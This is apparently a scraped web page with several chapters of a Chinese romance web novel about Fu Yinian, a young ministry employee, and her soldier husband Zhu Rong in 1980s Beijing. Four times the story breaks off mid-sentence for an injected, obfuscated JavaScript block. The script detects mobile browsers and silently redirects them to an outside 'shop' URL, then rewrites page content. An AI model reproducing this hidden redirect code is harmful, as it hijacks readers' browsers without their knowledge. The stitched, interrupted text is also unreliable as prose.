因为那一晚的交谈,离开之前的几个晚上,每次的“深入交流”,祝镕没有再用过工具,认真履行着为了达成符伊年“生孩子”意愿的行动。 符伊年每每累到抗议,他都有话可说:“你不是想要孩子,这是必经过程啊。” 符伊年:没等孕育新生命呢,我要没命了。 所以等到初八要离开的时候,符伊年其实还有有点期待的,这几天她真的是累惨了,每天都要睡到日上三竿才能恢复过来。 幸好祝镕早上跑操完毕的时候都会带早餐回来给她,让她不至于起床饿着肚子还要自己给自己做饭吃。 要想能赶上初九周一上班,符伊年至少初九清晨就要到京城,那么火车最晚也应该时午饭前后,而从军营下山再开到火车站,当然要早上出发才行。 所以,初七的晚上祝镕放过符伊年一晚,让她自从到了西安,第一次晚上睡了个囫囵觉。 过了一周上班有人送、下班回家有人迎、晚上身边有人陪的日子,突然要送符伊年离开,祝镕很是不舍,但是又怕被符伊年看出来惹她伤心,祝镕一路上表现的若无其事。 “还有什么想玩儿的吗?”祝镕开着车问符伊年,“我们可以在山下吃午饭,然后在市里玩两三个小时,然后再走。” 符伊年想了想,“没有了吧,那几年寒暑假都玩过了,”顿了顿,“我想着,你把我送到火车站就回来吧,晚上盘山路太不安全了。” 听到这话,祝镕诧异地看向符伊年,“我昨晚没和你说吗,我要去北京军区开会,可以直接开车送你回去。” 符伊年“嗖”一下转头看向祝镕,“你什么时候说了?”接着立即反应过来,“故意的是吧?” 祝镕“吭哧吭哧”地笑了两声,“哪能呢,我是真的忘了。” 符伊年翻了个白眼,心说:我信了你个邪! 符伊年:“亏我还同情你已婚青年享受未婚待遇觉得你委屈了,明明是我被蒙在鼓里。” 怕符伊年真的觉得自己再蒙她,祝镕赶紧解释了一遍真实原因:春节上班后二团的政委已经到位了,所以祝镕工作已经比之前轻松很多,加上这次也确实是师部有份文件要报送军区,师长就把这件事交给了祝镕。 “师长昨晚才通知我的,”祝镕眼睛盯着前方的路况,“公私两便吧算是。” 送符伊年回去算一私,还有一私是师长知道他是谁的儿子,有件事想让他回去和祝军长打听一下。 符伊年知道西安的部队确实从大军区归属上是属于京城军区的,所以对祝镕的话并不怀疑。 不过,“这公差一共几天啊?能回家不?”符伊年比较关心这个。 “三天,报送一天,批复一天,周三就得返回。”祝镕转头看了眼符伊年,“肯定回家住啊,不然为什么师长派我来。” 符伊年点头,懂了,为了省住宿费。 “那这几天住军区吧,”符伊年想了想,“我也去军区住,都方便。” 其实,相对四合院和符伊年单位的距离来说,从军区去她单位更方便一些,因为不用公交不用转车,可以地铁直达,虽然路上时间要多花费十五分钟。 不过住四合院多数时候是为了方便容院长上下班,而且符伊年也觉得虽然住一个院子,但是到底是自己的房子,更自在些。 所以,在这件事上,符伊年很感激容院长和祝镕,毕竟这个时候都是晚辈挨着长辈一起住,很少有晚辈单独住出来的。 符伊年和祝镕中午在路过的一个小村子吃的午饭。口味不错,就是价格不低。符伊年和祝镕点了四个菜两碗米饭,竟然花了五十二块钱。 “啧啧,人均二十六,”上了车后,符伊年一边查看收据单一边咋舌,“比京城高档饭店收费差不多了,下回谁还敢来。” 祝镕眼睛盯着倒车镜,“正常,走这条路的几乎都是运煤车,不差钱,而且一次性买卖,无所谓回头不回头客。” 符伊年想到之前路上经过的那些运煤的大卡车,急忙把半开的车窗摇上去,“这样下去,资源消耗不说,空气质量只会越来越差。” 祝镕也将自己那侧的车窗摇上去了,将噪音、灰尘都隔绝在外面,“没办法,我们国家现在缺钱,兴许以后有了钱就会治理了。” 符伊年沉默。可不是就是这样么,先污染再治理,等意识到“绿水青山就是金山银山”的时候,得多少年之后了。 可当前就是一切在向“钱”看啊,就连深圳蛇口建设都提出了“时间就是金钱”的口号,可见时下将经济发展放在了一个何等重要的位置上。 不过想想也是,不发展经济如何国富民强早日全面脱贫、如何建高铁造航母造飞船、如何逐日落土登月?毕竟华国人从上到下都有“武力不足恐惧症”。 这一切,都要靠金钱来完成啊。 符伊年和祝镕是在晚饭前回到京城的,先回到的四合院,家里只有姑婆在,正坐在客厅里看电视。 看见祝镕和符伊年一起回来,姑婆很是惊讶,“哟,你咋也回来了?吃了吗你俩?没吃的话等一会儿,这集就要结束了,结束了我去做饭。” “不用的姑婆,我做就好了,您看吧。”祝镕看来眼电视机,知道这就是符伊年买的那台樱花国的彩电,看着效果确实好。 姑婆听他这样说,也不再多言,一挥手,“去吧,食材都切好了,你直接下锅炒就行了,”等祝镕转身出去了,又像是想起什么似的,冲他背影喊了一句,“炒菜少放些油!” 祝镕:“知道了。” 符伊年等祝镕走了才在姑婆身边坐下,抓了把瓜子分给姑婆一半,“这什么电视剧啊?应该不是我买的那些录像带里的吧,这拍摄风格不一样。” 符伊年找人帮忙买录像机,自然也买了不少录像带,多数都是港台的电视剧和电影。现在播放的这个风格一看就很“□□”。 “《敌营十八年》,讲我们地下党员潜伏在果党,凭借着坚定信念、过人智慧和超凡胆识与敌人周旋,还送出不少有用的情报出来。”姑婆嘴上介绍着,眼睛却一直盯着电视机画面,不肯错过任何一个情节。 原来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687552|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部谍战片。符伊年对谍战片的印象还停留在《潜伏》《伪装者》《惊蛰》这些,没想到这么早就有谍战片了。 谍战片很好看看,悬疑感非常强,但是所有的这些能拍出来的电影也好电视剧也好,都只是隐蔽战线上的故事的缩影,实际上在这条隐蔽战线上战斗的战士,光有名有姓的统计到的数字就几百万,更何况那些没有留下姓名的。 战线无形,英雄无名,誓言无声。 符伊年跟着姑婆看了一会儿,觉得还挺好看的了。剧情情节很紧凑,布景、服装也很贴近现实,甚至有些情节尺度还挺大,不知不觉也入了迷。 这一集的确如姑婆所讲很快就结束了,紧接着下一集就播出,直到看见片头上”导演王扶林“的字样,符伊年恍然大悟,王导的片子,当然质量很不错啦。 再过个三四年,《红楼梦》就播出了,按照电视剧的拍摄周期看的话,这时候应该已经在筹备了吧。 符伊年的期待越来越强烈了。 因为姑婆只准备了她和容院长的晚饭,符伊年和祝镕突然回到,食材自然不够,祝镕又重新准备了两个菜的食材,所以晚饭过了半个多小时才做好。 “吃饭了!”祝镕做好了饭菜,朝客厅的方向喊了一嗓子。 半分钟钟过去了,没动静;三分钟过去了,还是没动静。祝镕撩起腰间的围裙一边擦着手,一边往客厅走。 一进客厅就看到姑婆和符伊年两个人并排坐在沙发里,全都目不转睛地盯着电视屏幕,看得十分入神,连手里瓜子都忘了继续嗑。 祝镕好气又好笑,正想再催促一遍呢,正好电视里响起了音乐声,这集刚好结束。 “好啦,吃饭吧。”祝镕走上前去想要把电视关掉。 “等等!”姑婆和符伊年异口同声,拦住了祝镕的动作,“听完片尾曲!” 祝镕动作顿珠,无奈地又等了三分钟,等到片尾曲结束,才把电视关掉,和符伊年一起扶着姑婆走去餐厅,听着两人边走还边在讨论剧情,心里偷偷嘀咕:就这么有意思吗? 也只能是偷偷嘀咕,毕竟人家两个人,自己只有一个,二比一呢。 姑婆上了年纪,生活习惯非常规律,习惯晚饭后出去在胡同或者院子里散步一会儿,然后早早就去睡了。 符伊年和祝镕陪着姑婆走了一会儿,将人送到卧室安置下,等人睡了然后才关了灯离开。 出门的似乎祝镕不自觉地就把符伊年的手拉住了,“累不累啊今天?” 符伊年摇摇头,“我还好,你比较累才是,开了六七个小时的车。” 其实符伊年早就拿到驾照了,驾驶技术也很不错,但是现在的汽车还没有导航,符伊年怕开错路,用祝镕的话说是“没有人开车还配个人肉导航的”。 容院长还没回到家,符伊年觉得不好现在就去睡,愣是一边在沙发上打着盹一边等,等到容院长回来了,跟她说了句“妈妈”,然后就一脑袋栽倒到祝镕的肩膀上了。 容院长心里十分熨帖,并没有吵醒她,指挥着祝镕让他把人抱回房间,才欣慰地去吃晚饭、休息。 124. 事业线 第一二四章 初九一早,祝镕要去军区,符伊年也要上班,自然是他开车送她。 车子开到单位门口,符伊年没让祝镕开进去,在路边停下就准备下车,给了祝镕一句“下班来接我”,提上手包转身就要开车门,然后被祝镕一把拉住了手腕。 符伊年停下动作,转头看他,“怎么了?” “保温杯忘带了。”祝镕把保温杯递给她,“好好吃饭,下班来接你。” 符伊年等了几秒钟,见他没有继续说了,点点头,“知道了,开车注意安全。” “嘿!符伊年!” 刚下车,符伊年就听到有人在喊她,一回头,立刻惊喜地尖叫起来,“啊啊啊啊!洋洋! 来人不是别人,正是她的大学舍友刘洋。刘洋毕业时家人运作了一番,让她留在了京市的农林局,免于被分配到外地去。 按说京市农林局和农林部不在一处,不知道刘洋怎么突然到部里来了。 符伊年冲过去给了刘洋一个大大的拥抱,拉着她的手十分开心地问:“你高升啦?” 不然怎么在上班时间出现在这里。 “没有,被借调来的,”刘洋摇头,接着疑惑道:“你不知道吗?我看小组成员有你的名字呢。” 符伊年有点不好意思,“我去探亲了,今天才第一天上班。”接着也一脸的疑惑,“你说的什么小组啊?” 刘洋从自己的包里拿出一份文件,文件是从部里下发的,名为《关于组建“京市蔬菜出口协作小组”的通知》,文件下发日期刚好是春节后第一天上班,那时候符伊年还在西安呢。 文件上说,为了增加国家外汇收入、提高京市农民收入、打开京市蔬果销售渠道,由农林部、京市农林局牵头,国家航空局协助,各县(区)农林局(处)、国家供销总公司执行,组建“蔬菜出口协作小组”,组织京市蔬果出口。 简单来说,就是将农民手中的蔬菜水果集中起来,进行挑选、包装,然后空运到漂亮国等欧美国家,进行出口。 一大串的精神、目的、要求、条件后面,是小组构成,组长、副组长自然是高级领导,七八个领导下面是小组成员,符伊年粗略数了数,能有二三十个。 因为是按姓氏首字母排列的,符伊年很容易就找到了自己的名字,她的名字下一行就是刘洋的名字。 符伊年又翻了翻,将文件还给刘洋,“那我们要干什么你知道吗?” “不知道,”刘洋摇头,“我得到的通知就是今天过来。” 符伊年若有所思,过了片刻重新看向刘洋,拉着她的手一起往大门里走去,“和我去办公室吧,外头这么冷。” “不用啦,”刘洋拉住她,“我们处长说在东附楼二楼大会议室集合,你告诉我怎么走就行了,然后赶紧回去问问你们领导是不是也这样安排的。” 符伊年觉得刘洋说得有道理,“那我先把你送到东附楼。” 于是两人携手走进大门,先去找东附楼了。 而祝镕,在看到喊她的人是她原来宿舍的舍友后,笑了笑,启动车子,离开了。 符伊年把刘洋送到东附楼,在刘洋一再拒绝和要求下,没有跟着上楼,转身往自己科室走去。 刚刚符伊年看过了,自己办公室里有一半的人都在这个协作小组里,具体的信息怕是要同他们询问了。 到了办公室,另外两个同事却都不是小组成员,符伊年只好先拿起桌上的文件一边阅读一边等待。 桌上的文件不止一份了,有刘洋给她看过的那份,还有另外两份,一份是今年处里和科里的工作安排,还有一份就是针对“协作小组”的具体情况的文件,上面说从今天开始,培训一周,一周后进行具体工作。 培训的地点,还真的就在东附楼二楼会议室。开始的时间是八点十分。 符伊年看了眼手表,已经八点了。又环视了一圈办公室,发现在名单上的几位同事还没来,猜测是不是他们已经过去了? “咦?小符,你还不去开会吗?”另外一个同事提着暖水瓶从外面进来,“我看其他人都过去了。” “这就去。”符伊年不好意思地笑笑,把几份文件装包里,想了想又装了一本笔记本和一支圆珠笔,一手提包一手保温杯,出了办公楼就开始一路狂奔,总算在八点十分之前到达了东附楼二楼会议室。 到会议室的时候,除了领导,几乎其他人都到齐了,符伊年这个时候出现在门口,不免引来一些人的注意。 刘洋和科室的同事都看到她了,也都在朝她招手,符伊年想了想,对刘洋比了几个收拾,去到同事身边坐下,“早啊。” 同事也纷纷同符伊年打招呼,还给她介绍几个其他科室的同事,符伊年同他们点头问好,正要多说几句,会议室响起入场进行曲,领导来了,所有人都起立鼓掌欢迎领导入场。 培训一共两周,在培训开始之前,先有一个启动仪式。第一项自然是升国旗奏唱国歌,第二项就是领导讲话了。 大领导的讲话很有水平,除了宣传了国家的政策、精神,还用一些实例讲了“小组”成立的原因、目的,和希望日后能够达成的什么样的结果和成绩。 大领导讲完是中层领导讲。中层领导的讲话就更实际了一些,提得都是在实际运行、执行等事务上的具体指示和要求,最后再鼓励一番工作人员。 因为是多方合作,所以讲话的领导也是各方都有,等所有的领导讲话结束,就是小组成员代表上台表决心的时刻了。 符伊年认出来,农林部的小组成员代表不是别人正是是自己的科长。心中忍不住啧啧称叹,从普通科员升到科长,起码要在部委工作五到十年,结果在这么一个“小组”里,也只是组员而已。 七八个讲话全讲完,时间就已经过去近一个小时了,最后主持人请各方领导一同上台给盖着红布的“小组”办公室的牌子揭幕。 红布扯掉,写着“京市蔬果出口协作小组”的牌子露出来,全场掌声雷动,“工作小组”正式启动。 送走了前排就坐的领导,后面的工作人员还不能立即离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701654|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,因为他们还要接收培训呢。 培训一共两周,教授的东西有点多。有政策指导,比如指导他们要如何与基层的工作人员、农民们对接对话,如何传达指示精神、政策这种。 也有具体事务的指导。比如什么样的蔬菜可以出口,要如何采摘才能保证保存时间久——听说生鲜食品在国外最久只有一周保存期,从采摘到包装到运出,这期间要两三天呢,当然要保质保量了。 其他诸如清理、称重、包装、抽真空这些具体执行流程也要有所了解,因为以后要他们一层层的传授教导呢。 祝镕在京城带了两天住了三晚,拿到文件批复回执就返回了部队。这几天,除了第二天晚是住在军区,剩下第一和最后两个晚上都是住在四合院的。 尤其是离开前的那个晚上,因为去年祝镕有大半年不在京城,祝镕特意精心准备了一次“约会”——接下班、吃西餐、看电影。 在后世看起来很老套的约会模式,其实在这个年代已经很时髦了。尤其祝镕接下班的时候还带了一束在冬天不易买到的玫瑰花。 不过,看到这束玫瑰花,符伊年就想起了去年冬天,“你是不是还欠我两盆牡丹呢?” 祝镕:……“工资存折都在你那里了,你去买嘛!” “自己买的有什么意思。”符伊年低头嗅了嗅怀里玫瑰花,花香馥郁。 祝镕听懂了,默默记在了心里,但是此时只能转移话题,“有什么想吃的吗?听说首都饭店聘请了一位西餐大厨,要去吃吗?” 符伊年摇头,她是正经的华国胃,吃不了白人饭这份委屈,“想吃火锅。”说完想到此时的京城火锅主要是指铜锅涮羊肉,又补充了一句“川渝火锅”。 听到这个要求,祝镕一愣。他并不是不知道什么是川渝火锅。军营里官兵们来自五湖四海,川渝兵更是不少,当然听说过以麻辣鲜香为特点的川渝火锅。 不过,“京城有卖的吗?” 符伊年摇头,“不知道,川菜馆应该会有吧?” 祝镕无语了片刻,合着您根本不知道具体信息就敢点菜了。可是,那又怎么样呢,自己的老婆当然自己宠啦。 “拿去川渝饭店吧,那里应该有。”祝镕觑着前后都没车的路段熟练调头,“就算没有火锅,吃川菜应该也行吧。” 符伊年当然知道川渝饭店,这是一家有着二十多年历史的川菜馆了,是川籍的几位开国大将提议、恩来总理亲自命名批准的,有着“京城第一川菜馆”的美誉。祝镕要是不提,符伊年还没想起来呢。 吃过晚饭,符伊年发现祝镕没有开车的路线既不是回军区也不是回四合院,不禁奇怪,“接下来去哪里?” “去把你卖掉。”祝镕转头冲着符伊年微微一笑。 天早就黑了,周围只有路上车辆的车灯和两边路灯散发出的光线,在这样柔和暧昧的光景中,祝镕这一笑,简直向一颗子弹一样,有一次射中符伊年的心。 男色惑人啊。符伊年捂住心口。 突然想回家是怎么回事? 125. 录像带 第一二五章 所谓“夜色太美你太温柔”,对应此时此景,真的是太合适不过了。 夜色的加持下,男色格外诱人,以至于符伊年过了好一会儿才反映过来祝镕话里的意思,立刻瞪他一眼,“你才是猪!你……” 不行,不能说“全家都是猪”,不然岂不是连两位长辈和自己都骂进去了? 车子没有开很久,祝镕在一个胡同口停下,但是没有熄火。 “我进去一趟,五分钟就出来,你等我,别乱跑。”说着解开开全带,要下车。 符伊年一下子抓住他的袖子,倒是没有追问他去哪里,只是叮嘱他把军大衣穿上,现在还冬天呢,何况晚上比白天冷多了。 祝镕从善如流,关上驾驶室的车门,从后座拿了一件军大衣披上,绕过车头往胡同里走去。 符伊年贴着车窗往外看,看到他走进胡同在第三家的大门前停下,敲了记下门,接着门开了,符伊年看到祝镕说了什么,对方就让他进去了,不过离得太远了,她只能看见他嘴巴动,听不清他们说什么。 祝镕说是五分钟就能回来,其实根本没用上五分钟,两三分钟就从里面出来了。这期间符伊年一直贴着车窗盯着胡同里,姿势一直没有变过。 祝镕不知道,但是他从门里出来后,就凭着优越的视力看到符伊年正贴着车窗玻璃往外张望,祝镕不禁抬手对她挥了挥,脚步也加快了些。 符伊年看到祝镕同她挥手了,也抬起手对他挥了挥,眼神跟着他的身影移动,一直到人上了车,她对着他笑。 祝镕见她笑,也情不自禁笑起来,用余光扫了扫车外,凑到符伊年脸颊上亲了一下。 符伊年被祝镕突袭,怔了一下,接着头微微一歪,变成了唇了唇相接。祝镕心里笑笑,一手搭在她的腰上稍微用点力,让人正面朝向自己,一手捏着她的下巴,吸允着她的唇。 符伊年不自觉地迎合着她,在祝镕叩开齿关的时候,原本攥住他的腰测衣服的双手张开搂住了他的腰。 一道灯光从对面车道照过来,情动的两人回了神,一个把手从对方的衣服里抽出来,一个松开搂着的对方的腰,各自伏在对方的颈侧平缓自己的情绪。 过了片刻祝镕从符伊年颈窝里抬头,在她额上印下一吻,“回家。” 这一晚,两人自然是宿在四合院的。 其实,开车到家的时候动情的两人都已经平复下来了,也就没有记者上床睡觉。分别去洗漱了后,祝镕给符伊年裹上件大衣搂着人去了正房客厅。 “干嘛?”符伊年有点奇怪。 原本两人是打算饭后去看电影的,没想到川菜馆人太多了,等菜就等了很久,吃完饭的时候天早就黑了,电影院也已经下班了。 祝镕:“不是说了看电影嘛。” 祝镕带着人进了客厅,将符伊年安置到沙发上,把切好的水果盘、装了果脯和坚果的攒盒还有保温杯一起放到她身边,自己过去电视机前鼓捣了一阵,然后坐回她的身边。 “电影院关门了,不过我从朋友那里借了几盘录影带过来,刚好家里有录像机。”祝镕用牙签将一块切好的菠萝递给她。 符伊年没有接,直接就着他的手吃掉了,“原来你早就猜到来不及去电影院啊。” 祝镕微微一笑,心说:我作为一团主官,对时间的策划和把控当然心里有数。 “想看什么?”祝镕把几张录像带放到符伊年面前,“我借了不少,有内地的也有港台的,今晚先挑一部看,其余的你以后慢慢看。” 符伊年一边嚼着菠萝,一边挑选,挑了一会儿发现,“怎么都是电影啊?” “我看他那里的电视剧带子你这里都有,《上海滩》《一剪梅》《射雕英雄传》什么的,而且电视剧都太长了,不适合今晚看。”祝镕看了眼墙上的钟表,现在晚上八点,一百分钟的电影看完,和可以做点睡前运动,完全来得及。 符伊年看了看,十几部带子,有港台的国外的,也有几部大陆的。大陆的有《少林寺》《庐山恋》。《少林寺》就不用说了,上映的时候可谓是万人空巷,创造了华国电影最高票房,不过这个她已经看过了。 还有《庐山恋》也是,刚上映就符伊年就去看过了,当时很好奇,因为号称有“吻戏”嘛,这在此时的内地可是很出格的了。结果到了电影院一看,就亲了下脸颊,还是一触即离的那种。 港城的有好几部,符伊年挑选的时候看到一部《师弟出马》,主演是后世的武打巨星成龙打个,封面上的成龙梳着及肩的头发,打着赤膊,脸庞还挺青涩的。上面说是一部喜剧、武打电影。 符伊年挑挑眉,原来大哥这么早就出道了啊。将这部挑出来放到一边留作备选。 再往下翻找,符伊年居然看到了一部外国片,她看着封面上青春无敌的美少女,嘿嘿一笑,把录像带递到祝镕面前,“这个你要看吗?” 符伊年将《初吻》的封面递到祝镕面前,特意将有女主角的那一侧给他看——苏菲·玛索呢,多少人心中的女神啊。 祝镕没发觉她的小心思,把录影带接过来看了看看,递会回给她,“法语片,不知道有没有配音啊,要看吗?” 符伊年还真没注意这是原声录影带,她也听不懂法语,只好遗憾地放到那些没被挑选的录影带堆里去。 “那就看这个吧,喜剧武打片,”符伊年将成龙的《师弟出马》递给祝镕,让他去放映,“大过年的,欢快点。” 祝镕对这些没什么讲究,自然不会反对。 其实,符伊年一直以为《醉拳》才是大哥的第一部片子,那个片子她可是看了好几遍的。倒是这部《师弟出马》,符伊年没有看过。 影片一开头便是舞狮场景,成龙大哥一上来就展示他灵活的身姿和敏捷的身手,随着剧情的推进,主角调皮、搞怪、闯祸的性格被展现的淋漓尽致,大哥的喜剧天性也表露无遗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715104|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“看起来不是花拳绣腿啊。”祝镕将扒好的一把瓜子仁放进符伊年手心里,“和李连杰一样是练过的吧?” 此时画面里播放的是正是大哥以床单假装裙子那段“裙里腿”的打斗场面,喜剧的剧情配合一招一式的武打打斗场面,逗得符伊年哈哈大笑。 直到这段剧情过去了,符伊年才回答祝镕的问题,“是啊,都是有真功夫在身的,以后华国的两大武打巨星啊。” 一百分钟的影片,很快就结束了,符伊年被搞笑的剧情和幽默风趣的性格给逗的全场都是笑着的,然后一边津津有味地吃喝着祝镕放到她手里的零食、递到嘴边的温水。 祝镕坐在一旁一边照顾她吃喝,一边也看得津津有味,只不过他的津津有味多数时候都是在研究影片中的武打动作,还要不时点评一番“这个动作好”“哎呀差一点”“这个只能看真打起来没用”…… 符伊年:看在你照顾我吃喝的份上,我假装听不见你的叨咕。 这个晚上算是一个美满的夜晚,祝镕的约会进行的很顺利,接下班送鲜花吃晚饭看电影啪啪啪。而且,大概前面的几项进行的十分顺利也十分得符伊年得心,所以这一晚为爱鼓掌时她也十分配合,竟然还主动与祝镕尝试了一个之前不曾试过的姿势,让祝镕十分惊喜。 不过,日子再美满再得意,分别还是要到来。但是有什么办法呢?婚是自己结的,男人是自己选的,当然要受着。 而且,别看现在独守空房的是我,未来是谁独守空房还不一定呢。 祝镕:我知道!是我!我给你守家带孩子! 因为头一晚已经喝祝军长容院长打过招呼,祝镕今天离开京城就不再返回军区辞行了,直接从四合院离开。 走之前,祝镕送符伊年去上班。车子行驶在宽阔平坦的长安街上,想到祝镕还要开车开上六七个小时,符伊年有些心疼。 “也不知什么时候才能攒够修高铁的钱。”符伊年嘀咕着,“或者啥时候飞机票能降价也行啊。” 祝镕听见她语气忿忿的,不禁好笑,“已经够便宜了,才不到一百块。至于修高速铁路估计还有的等,高速公路还没修遍全国呢。” “唉,”符伊年叹气,“到处都是用钱的地方。” 修一公里高速公路要几亿人民币,一公里的高速铁路却要十几亿人民币呢。 “百废待兴已经过去了,经济已经开始复苏并腾飞了,”祝镕将车稳稳地停在农林部大门口,“好了,上班去吧,你现在所做的工作,虽然与商业没有直接关系,但也是为复兴和崛起做基础的。” 到底即将分开,符伊年不忍他过多担忧自己,展露出一个笑颜,“那你要保重自己,虽然上交给祖国了,也要想想我想想家。” 祝镕当然是忙不迭地答应下来,两人最后拥抱一下,符伊年推门下车,目送祝镕开车驶离。 祝镕走后二十天,符伊年月经如期到来。她气馁地叹气,没怀上呢。 126. 对撞 第一二六章 祝镕归队了,符伊年的生活也如常继续。 培训进行到第一周末尾。 这一天的培训换了一个地方,不在二楼会议室了,而是去到五楼的内部放映室。 听到这个通知的时候,培训的同事们都兴奋起来,“不会是要给我放电影看吧?” “真的假的?我不信啊,哪有那好事儿。”众人一边讨论着,一边走楼梯上楼。 刘洋从侧边挤过来,凑到符伊年身边,“年年,你知道是什么吗?”她直觉不会是看电影。 符伊年摇头,和她是一样的想法,“反正不会是看电影。” 内部放映室这个地方,是个平时不怎么开放的地方。偶尔会在节假日的时候开放,放映免费影片给众人观看,影片一般都是主旋律影片。 也有时候,会听说部委的大领导进了放映室,看得却是内参片,可能会影响某个决策制定的那种。 内部放映室面积不大,三四十平米的面积,窗口挂着厚重的遮光帘子,墙上挂一张幕布,幕布前方三四步远的地方是一排沙发茶几,沙发后面架着一座电影胶片放映机和一台录像投影仪。 二十多人从外头涌入放映室,把里头所有的空地儿都站满了——毕竟都是普通科员,最多是个科长、处长,没人敢去前面沙发坐。 好在这时有工作人员搬来几摞板凳分发给大家,待众人都坐下后,又进来一个工作人员,手里拿着一盘录像带进来。 符伊年惊诧,难道真是看电影啊? 电影是电影没错,但不是他们想象的那种娱乐或者主旋律影片,而是一段纪录片。 影片的拍摄地点是国外,因为画面上的汽车明显比较多、楼厦比较高,到处都写着英语,路上行人也都是金发碧眼的外国人。 拍摄者似乎是在乘车,一路风驰电掣,镜头里掠过高楼大厦、车水马龙、路边公园,当然也有无家可归的流浪者、破衣烂衫的拾荒者…… 车子一路行驶,来到一个类似厂房仓库一样的一个建筑,车子停下时,能看到停车场上都是汽车,符伊年在一闪而过的大门上看到了英文“超市”的单词。 “年年,”坐在一旁的刘洋戳戳她的胳膊,低声问:“那个单词是超级市场的意思吧?” 符伊年点头,也很小声地回答,“你不记得了?” 刘洋点头,“记得,”又摇摇头,“不太确定,这一年多下来,我英语已经还给老师啦。” 符伊年捂着嘴笑。 重新看回影片,拍摄者推了一辆购物车,往车里放了几样商品,有可乐有饼干有火腿,接着来到生鲜区,先买了一块牛排和两只鸡腿,接着是包装好的包菜、豌豆芽、四季豆、青椒、土豆。 而且,每往购物车里放一样,就给包装一个镜头,镜头里能清楚地看到包装上的标签。 符伊年辨认了几次,才看清标签上都写了什么:菜品名称、重量、价格、包装日期、限用日期。 接着画面一转,拍摄者去收银台结账了。此时的收银台已经有了收银机和扫码机,收银员拿着扫码机“滴”一下,所有价格就都显示在收银机屏幕上了,接着说了一串英文,就看到拍摄者递了一沓钱过去,等人找了零钱后提着装好的购物袋,离开了超市。 符伊年盯着画面,若有所思。 恰在此时,影片结束,屏幕暗下来,过了片刻,房间的灯打开,众人捂着眼睛,过了好一会儿才适应光线。 “请大家返回二楼会议室,老师在等我们。”小组的组长站起来高声说道,“大家进口返回二楼。” 于是众人又从放映室鱼贯而出,挤挤挨挨地下楼回到二楼,期间不乏有抱怨和了然之声。 “还以为真看电影,结果就看这一么一段纪录片,没意思。” “早就说不可能真看电影啦,你不信。” 也有人在推测放映这段纪录影片的给他们看的目的,“该不会也要建一个这样的‘苏坡马克特’吧。那供销社可就真要完蛋了。” 因为个体户的店铺不止数量多了起来,商品的种类和花样也比供销社的繁多,而且服务态度还好,导致供销社的生意本不断下滑,听说深圳和羊城已经有供销社开始亏损,估计要不了多久就真的要倒闭了。 符伊年和刘洋并肩走着,听到这样的话互相对视了一眼,在各自的严重看到“不可能”的意思。 刘洋压低声音,“我觉着,应该是给我们看看国外的市场模式,然后重点还是在买菜那段。” 符伊年点头,“你发现没有,他买的的菜,包装好的不说,里面都收拾干净了,一点土啊泥啊都没有。” “而且,包装上的那个标签你们注意了吗?” 符伊年和刘洋正讨论着呢,一个声音凑近她们,吓了两人一条,转回头,发现是小组的另外一个成员,叫金苓,对外经贸学校毕业的,平时她们只算点头之交,没怎么说过话,没想到她突然凑过来。 看到符伊年和刘洋被吓到的表情,金苓有点不好意思,“抱歉,吓到你们了啊。我刚听你俩讨论的热闹,忍不住插话了,抱歉抱歉。” 按金苓的说法,她早就注意到符伊年和刘洋了,一直想找机会和她们交流,只是没找到,她挠挠后颈,笑得心虚,“刚才实在忍不住了,对不住啊,你们要是不高兴,就不用理我。” 符伊年和刘洋对视一眼,同时摇头,符伊年还笑着对她招招手,“没有不高兴,我们也是随便说说,你继续说。” 刘洋也点头,催她快说,“多个人多个想法,这是好事。” 在符伊年和刘洋的催促下,金苓把她没说完的话说下去,“包装上那个标签,写了好几样,我英文不好,只认出了重量、价格、还有日期。你们说,咱们出口的那些蔬菜是不是也要搞这种标签啊?” 刘洋点头,“肯定的,不然谁知道那是什么菜,有多重多少钱啊。” 金苓皱眉,“那要是半途被人改了价格怎么办?” 符伊年比她们冷静多了,“那个人付款的时候那个大电脑旁边打印收据的那个机器看见了吗,我猜应该是有个差不多的电子称,称好后打印出来的标签,你看那个字体,很明显就不是手写的嘛。” 刘洋和金苓回忆了一下,好像是这样。 三人边说就已经走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 